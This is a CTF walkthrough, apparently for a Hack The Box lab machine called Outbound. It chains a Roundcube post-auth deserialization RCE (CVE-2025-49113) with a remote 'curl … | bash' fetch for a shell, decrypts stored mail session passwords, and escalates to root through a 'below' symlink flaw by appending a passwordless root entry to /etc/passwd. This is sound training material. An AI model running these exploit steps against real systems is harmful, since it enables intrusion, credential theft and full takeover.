15 November 2025

Outbound

by 0xW1LD

Outbound Token

Enumeration

Assumed Breach Credentials

As is common in real life pentests, you will start the Outbound box with credentials for the following account tyler / LhKL1o9Nm3X2

Scans

As usual we start off with an nmap port scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN9Ju3bTZsFozwXY1B2KIlEY4BA+RcNM57w4C5EjOw1QegUUyCJoO4TVOKfzy/9kd3WrPEj/FYKT2agja9/PM44=
|   256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH9qI0OvMyp03dAGXR0UPdxw7hjSwMR773Yb9Sne+7vD
80/tcp open  http    syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://mail.outbound.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Looking at the scan we can find 2 open ports.

  1. 22 - OpenSSH 9.6p1
  2. 80 - Nginx 1.24.0 http

Web enumeration

Visiting the webpage on port 80 redirects us to a roundcube mail login. Roundcube mail login

Attempting to use the provided assumed breach credentials, we are able to login and view no messages in Tyler’s inbox. Tyler empty inbox

Taking a look around we can see that the version of Roundcube being used is 1.6.10 Roundcube Webmail 1.6.10

This is an outdated version as the latest version is 1.6.11, taking a look around, we can see that this version has a CVE attached to it, CVE-2025-49113

This vulnerability is a PHP Desirialization vulnerability present for authenticated users. A certain parameter on the upload page isn’t properly validated which allows users to exploit Roundcube’s custom serialization to execute code on the machine.

It’s a little bit complicated to do manually, luckily there’s a lot of PoCs available for this vulnerability.

Foothold

CVE-2025-49113

Let’s start by cloning the PoC into a directory of our choice.

1
2
3
4
5
6
7
8
git clone https://github.com/fearsoff-org/CVE-2025-49113.git RoundCubeExp
Cloning into 'RoundCubeExp'... 
remote: Enumerating objects: 8, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (7/7), done. 
remote: Total 8 (delta 1), reused 8 (delta 1), pack-reused 0 (from 0)
Receiving objects: 100% (8/8), 7.33 KiB | 2.44 MiB/s, done.
Resolving deltas: 100% (1/1), done.

Move into that directory.

1
cd RoundCubeExp

Let’s open another terminal and start up a python http server to listen on http requests.

1
2
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

After which let’s execute the PoC using the parameters as follows: target, username, password, command

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
php CVE-2025-49113.php http://mail.outbound.htb $USER $PASS "curl 10.10.14.158"
### Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]

### Retrieving CSRF token and session cookie...

### Authenticating user: tyler

### Authentication successful

### Command to be executed: 
curl 10.10.14.158

### Injecting payload...

### End payload: http://mail.outbound.htb/?_from=edit-%21%C9%22%C9%3B%C9i%C9%3A%C90%C9%3B%C9O%C9%3A%C91%C96%C9%3A%C9%22%C9C%C9r%C9y%C9p%C9t%C9_%C9G%C9P%C9G%C9_%C9E%C9n%C9g%C9i%C9n%C9e%C9%22%C9%3A%C91%C9%3A%C9%7B%C9S%C9%3A%C92%C96%C9%3A%C9%22%C9%5C%C90%C90%C9C%C9r%C9y%C9p%C9t%C9_%C9G%C9P%C9G%C9_%C9E%C9n%C9g%C9i%C9n%C9e%C9%5C%C90%C90%C9_%C9g%C9p%C9g%C9c%C9o%C9n%C9f%C9%22%C9%3B%C9S%C9%3A%C91%C99%C9%3A%C9%22%C9c%C9u%C9r%C9l%C9+%C91%C90%C9%5C%C92%C9e%C91%C90%C9%5C%C92%C9e%C91%C94%C9%5C%C92%C9e%C91%C95%C98%C9%3B%C9%23%C9%22%C9%3B%C9%7D%C9i%C9%3A%C90%C9%3B%C9b%C9%3A%C90%C9%3B%C9%7D%C9%22%C9%3B%C9%7D%C9%7D%C9&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload

### Payload injected successfully

### Executing payload...

### Exploit executed successfully

Looking back at our python http server we can see that we indeed receive a request from the machine.

1
10.129.103.215 - - [12/Jul/2025 23:56:07] "GET / HTTP/1.1" 200 -

This indicates that we have successful RCE on the box, use your reverse shell method of choice.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
php CVE-2025-49113.php http://mail.outbound.htb $USER $PASS "curl 10.10.14.158:3232/outbound.sh | bash"
### Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]

### Retrieving CSRF token and session cookie...

### Authenticating user: tyler

### Authentication successful

### Command to be executed: 
curl 10.10.14.158:3232/outbound.sh | bash

### Injecting payload...

### End payload: http://mail.outbound.htb/?_from=edit-%21%C5%22%C5%3B%C5i%C5%3A%C50%C5%3B%C5O%C5%3A%C51%C56%C5%3A%C5%22%C5C%C5r%C5y%C5p%C5t%C5_%C5G%C5P%C5G%C5_%C5E%C5n%C5g%C5i%C5n%C5e%C5%22%C5%3A%C51%C5%3A%C5%7B%C5S%C5%3A%C52%C56%C5%3A%C5%22%C5%5C%C50%C50%C5C%C5r%C5y%C5p%C5t%C5_%C5G%C5P%C5G%C5_%C5E%C5n%C5g%C5i%C5n%C5e%C5%5C%C50%C50%C5_%C5g%C5p%C5g%C5c%C5o%C5n%C5f%C5%22%C5%3B%C5S%C5%3A%C54%C53%C5%3A%C5%22%C5c%C5u%C5r%C5l%C5+%C51%C50%C5%5C%C52%C5e%C51%C50%C5%5C%C52%C5e%C51%C54%C5%5C%C52%C5e%C51%C55%C58%C5%3A%C53%C52%C53%C52%C5%2F%C5o%C5u%C5t%C5b%C5o%C5u%C5n%C5d%C5%5C%C52%C5e%C5s%C5h%C5+%C5%5C%C57%C5c%C5+%C5b%C5a%C5s%C5h%C5%3B%C5%23%C5%22%C5%3B%C5%7D%C5i%C5%3A%C50%C5%3B%C5b%C5%3A%C50%C5%3B%C5%7D%C5%22%C5%3B%C5%7D%C5%7D%C5&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload

### Payload injected successfully

### Executing payload...

### Exploit executed successfully

I’ve gotten a shell as www-data

1
www-data@mail:/var/www/html/roundcube/public_html$

User

Pivoting to Jacob

We determine that we’re in a docker environment by the presence of dockerenv file in the / directory.

1
2
3
4
5
ls -la
total 84
drwxr-xr-x   1 root root 4096 Jul  9 12:41 .
drwxr-xr-x   1 root root 4096 Jul  9 12:41 ..
-rwxr-xr-x   1 root root    0 Jun  8 12:26 .dockerenv

Looking around we can find credentials for the Roundcube Database.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
www-data@mail:/var/www/html/roundcube/public_html$ head roundcube/config/config.inc.php -n 29
<?php

/*
 +-----------------------------------------------------------------------+
 | Local configuration for the Roundcube Webmail installation.           |
 |                                                                       |
 | This is a sample configuration file only containing the minimum       |
 | setup required for a functional installation. Copy more options       |
 | from defaults.inc.php to this file to override the defaults.          |
 |                                                                       |
 | This file is part of the Roundcube Webmail client                     |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+
*/

$config = [];

// Database connection string (DSN) for read+write operations
// Format (compatible with PEAR MDB2): db_provider://user:password@host/database
// Currently supported db_providers: mysql, pgsql, sqlite, mssql, sqlsrv, oracle
// For examples see http://pear.php.net/manual/en/package.database.mdb2.intro-dsn.php
// NOTE: for SQLite use absolute path (Linux): 'sqlite:////full/path/to/sqlite.db?mode=0646'
//       or (Windows): 'sqlite:///C:/full/path/to/sqlite.db'
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';

Let’s authenticate and connect to the database

1
2
3
4
5
6
7
8
9
10
www-data@mail:/var/www/html/roundcube/public_html$ mysql -u roundcube -pRCDBPass2025
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 217
Server version: 10.11.13-MariaDB-0ubuntu0.24.04.1 Ubuntu 24.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> 

Taking a look around the database we can find a users table.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
MariaDB [(none)]> use roundcube
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [roundcube]> show tables;
+---------------------+
| Tables_in_roundcube |
+---------------------+
| cache               |
| cache_index         |
| cache_messages      |
| cache_shared        |
| cache_thread        |
| collected_addresses |
| contactgroupmembers |
| contactgroups       |
| contacts            |
| dictionary          |
| filestore           |
| identities          |
| responses           |
| searches            |
| session             |
| system              |
| users               |
+---------------------+
17 rows in set (0.001 sec)

MariaDB [roundcube]> 

Looking at the users table we can find the same users that we can find on the box’s /etc/passwd file.

1
2
3
4
5
6
7
8
MariaDB [roundcube]> select * from users;
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+-----------------------------------------------------------+
| user_id | username | mail_host | created             | last_login          | failed_login        | failed_login_counter | language | preferences                                               |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+-----------------------------------------------------------+
|       1 | jacob    | localhost | 2025-06-07 13:55:18 | 2025-06-11 07:52:49 | 2025-06-11 07:51:32 |                    1 | en_US    | a:1:{s:11:"client_hash";s:16:"hpLLqLwmqbyihpi7";}         |
|       2 | mel      | localhost | 2025-06-08 12:04:51 | 2025-06-08 13:29:05 | NULL                |                 NULL | en_US    | a:1:{s:11:"client_hash";s:16:"GCrPGMkZvbsnc3xv";}         |
|       3 | tyler    | localhost | 2025-06-08 13:28:55 | 2025-07-13 03:59:56 | 2025-06-11 07:51:22 |                    1 | en_US    | a:2:{s:11:"client_hash";s:16:"XfpTxNdARkmceyNB";i:0;b:0;} |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+-----------------------------------------------------------+

Let’s also take a look at the session table.

1
2
3
4
5
6
7
8
MariaDB [roundcube]> select * from session;
+----------------------------+---------------------+------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| sess_id                    | changed             | ip         | vars |
+----------------------------+---------------------+------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 6a5ktqih5uca6lj8vrmgh9v0oh | 2025-06-08 15:46:40 | 172.17.0.1 | bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7 |
+----------------------------+---------------------+------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

1 row in set (0.000 sec) 

The vars value looks to be base64 encoded, so let’s decode it!

1
2
echo 'bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7' | base64 -d
language|s:5:"en_US";imap_namespace|a:4:{s:8:"personal";a:1:{i:0;a:2:{i:0;s:0:"";i:1;s:1:"/";}}s:5:"other";N;s:6:"shared";N;s:10:"prefix_out";s:0:"";}imap_delimiter|s:1:"/";imap_list_conf|a:2:{i:0;N;i:1;a:0:{}}user_id|i:1;username|s:5:"jacob";storage_host|s:9:"localhost";storage_port|i:143;storage_ssl|b:0;password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/";login_time|i:1749397119;timezone|s:13:"Europe/London";STORAGE_SPECIAL-USE|b:1;auth_secret|s:26:"DpYqv6maI9HxDL5GhcCd8JaQQW";request_token|s:32:"TIsOaABA1zHSXZOBpH6up5XFyayNRHaw";task|s:4:"mail";skin_config|a:7:{s:17:"supported_layouts";a:1:{i:0;s:10:"widescreen";}s:22:"jquery_ui_colors_theme";s:9:"bootstrap";s:18:"embed_css_location";s:17:"/styles/embed.css";s:19:"editor_css_location";s:17:"/styles/embed.css";s:17:"dark_mode_support";b:1;s:26:"media_browser_css_location";s:4:"none";s:21:"additional_logo_types";a:3:{i:0;s:4:"dark";i:1;s:5:"small";i:2;s:10:"small-dark";}}imap_host|s:9:"localhost";page|i:1;mbox|s:5:"INBOX";sort_col|s:0:"";sort_order|s:4:"DESC";STORAGE_THREAD|a:3:{i:0;s:10:"REFERENCES";i:1;s:4:"REFS";i:2;s:14:"ORDEREDSUBJECT";}STORAGE_QUOTA|b:0;STORAGE_LIST-EXTENDED|b:1;list_attrib|a:6:{s:4:"name";s:8:"messages";s:2:"id";s:11:"messagelist";s:5:"class";s:42:"listing messagelist sortheader fixedheader";s:15:"aria-labelledby";s:22:"aria-label-messagelist";s:9:"data-list";s:12:"message_list";s:14:"data-label-msg";s:18:"The list is empty.";}unseen_count|a:2:{s:5:"INBOX";i:2;s:5:"Trash";i:0;}folders|a:1:{s:5:"INBOX";a:2:{s:3:"cnt";i:2;s:6:"maxuid";i:3;}}list_mod_seq|s:2:"10";

We get an interesting set of variables, Let’s now understand roundcube’s password encryption mechanisms, Roundcube uses the 3DES encryption algorithm in CBC mode. We’re going to need the des_key value, which we can find in the config file we found earlier.

1
2
www-data@mail:/var/www/html/roundcube/public_html$ cat roundcube/config/config.inc.php | grep des_key
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';

Now let’s use openssl to decrypt the Password.

1
2
echo "L7Rv00A8TuwJAr67kITxxcSgnIk25Am/" | base64 -d | tail -c +9 | openssl des-ede3-cbc -d -K $(echo -n 'rcmail-!24ByteDESkey*Str' | xxd -p) -iv $(echo "L7Rv00A8TuwJAr67kITxxcSgnIk25Am/" | base64 -d | xxd -p -l 8)
595mO8DmwGeD

Note that I trim the first 8 bytes which is used as the IV value. The IV is similar to a salt in hashing

Let’s try to authenticate as jacob using the su command.

1
2
3
www-data@mail:/var/www/html/roundcube/public_html$ su jacob
Password: 
jacob@mail:/var/www/html/roundcube/public_html$

Docker Escape

Looking around we can find several messages in our mail.

1
2
3
4
5
6
jacob@mail$ mail
Mail version 8.1.2 01/15/2001.  Type ? for help.
"/var/mail/jacob": 3 messages 2 unread
    1 MAILER-DAEMON@mai  Sat Jun 07 13:59   13/528   DONT DELETE THIS MESSAGE -- FOLDER INTERNAL DATA
>U  2 tyler@outbound.ht  Sat Jun  7 14:00   27/805   Important Update
 U  3 mel@outbound.htb   Sun Jun  8 12:09   25/836   Unexpected Resource Consumption

Of particular interest to us is the message from Tyler which mentions a change in password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
& 2                                                                                           
Message 2:
From tyler@outbound.htb  Sat Jun  7 14:00:58 2025
X-Original-To: jacob
To: jacob@outbound.htb
Subject: Important Update
MIME-Version: 1.0                                                                             
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Date: Sat,  7 Jun 2025 14:00:58 +0000 (UTC)
From: tyler@outbound.htb
X-UID: 2                                         

Due to the recent change of policies your password has been changed.

Please use the following credentials to log into your account: gY4Wr3a1evp4

Remember to change your password when you next log into your account.

Thanks!

Tyler

Let’s attempt to now use these credentials to ssh as jacob on the box outside of the docker.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ssh $USER@$DOMAIN
jacob@outbound.htbs password: 
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-63-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun Jul 13 04:53:44 AM UTC 2025

  System load:  0.0               Processes:             249
  Usage of /:   71.3% of 6.73GB   Users logged in:       0
  Memory usage: 10%               IPv4 address for eth0: 10.129.103.215
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Last login: Thu Jul 10 11:44:49 2025 from 10.10.14.77
jacob@outbound:~$

Let’s take a look at our home directory.

1
2
3
4
5
6
7
8
9
10
jacob@outbound:~$ ls -la
total 28
drwxr-x--- 3 jacob jacob 4096 Jul  8 20:14 .
drwxr-xr-x 5 root  root  4096 Jul  8 20:14 ..
lrwxrwxrwx 1 root  root     9 Jul  8 11:12 .bash_history -> /dev/null
-rw-r--r-- 1 jacob jacob  220 Jun  8 12:14 .bash_logout
-rw-r--r-- 1 jacob jacob 3771 Jun  8 12:14 .bashrc
drwx------ 2 jacob jacob 4096 Jun 11 11:32 .cache
-rw-r--r-- 1 jacob jacob  807 Jun  8 12:14 .profile
-rw-r----- 1 root  jacob   33 Jul 13 01:59 user.txt

Just like that, we have User!

Root

Enumeration

Looking around we have sudo permissions on the following commands.

1
2
3
4
5
6
jacob@outbound:~$ sudo -l
Matching Defaults entries for jacob on outbound:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jacob may run the following commands on outbound:
    (ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*

Doing some searching around we can find the github repository of below shows a security disclosure for the program.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
## Description

### Impact

A privilege escalation vulnerability existed in the Below service prior to v0.9.0 due to the creation of a world-writable directory at /var/log/below. This could have allowed local unprivileged users to escalate to root privileges through symlink attacks that manipulate files such as /etc/shadow.

### Patches

[10e73a2](https://github.com/facebookincubator/below/commit/10e73a21d67baa2cd613ee92ce999cda145e1a83)

This is included in version 0.9.0

### Workarounds

Change the permission on `/var/log/below` manually

### References

[https://www.facebook.com/security/advisories/cve-2025-27591](https://www.facebook.com/security/advisories/cve-2025-27591)  
[https://www.cve.org/CVERecord?id=CVE-2025-27591](https://www.cve.org/CVERecord?id=CVE-2025-27591)

Taking a look around we can find error files in /var/log/below, interestingly enough error_root.log is writeable.

1
2
3
4
5
6
7
jacob@outbound:~$ ls -la /var/log/below
total 16
drwxrwxrwx  3 root  root   4096 Jul 13 05:06 .
drwxrwxr-x 13 root  syslog 4096 Jul 13 01:58 ..
-rw-rw-rw-  1 jacob jacob   236 Jul  8 20:45 error_jacob.log
-rw-rw-rw-  1 root  root      0 Jul 13 05:06 error_root.log
drwxr-xr-x  2 root  root   4096 Jul 13 01:58 store

Exploit

Let’s try to symlink this file to some other file that we can see and that can potentially allow us to escalate privileges, I chose /etc/passwd because it doesn’t have any permission restrictions unlike /etc/sudoers.

1
2
3
4
5
6
7
8
jacob@outbound:/var/log/below$ rm *.log
jacob@outbound:/var/log/below$ ln -s /etc/passwd /var/log/below/error_root.log 
jacob@outbound:/var/log/below$ ls -la
total 12
drwxrwxrwx  3 root  root   4096 Jul 13 05:16 .
drwxrwxr-x 13 root  syslog 4096 Jul 13 01:58 ..
lrwxrwxrwx  1 jacob jacob    11 Jul 13 05:16 error_root.log -> /etc/passwd
drwxr-xr-x  2 root  root   4096 Jul 13 01:58 store

Next let’s run any below command that’ll error out, as root.

1
2
3
4
5
jacob@outbound sudo below replay --snapshot 1 --time 1
Jul 13 05:18:19.172 ERRO 
----------------- Detected unclean exit ---------------------
Error Message: Failed to open snapshot file: No such file or directory (os error 2)
-------------------------------------------------------------

Now let’s check /etc/passwd

1
2
jacob@outbound:/var/log/below$ ls -la /etc/passwd
-rw-rw-rw- 1 root root 1840 Jul 13 05:20 /etc/passwd

Success! We have read write permissions on /etc/passwd. Let’s add an entry and swap to that user

1
2
jacob@outbound:/var/log/below$ echo "w1ld::0:0:w1ld:/root:/bin/bash" >> /etc/passwd && su w1ld
root@outbound:/var/log/below# 

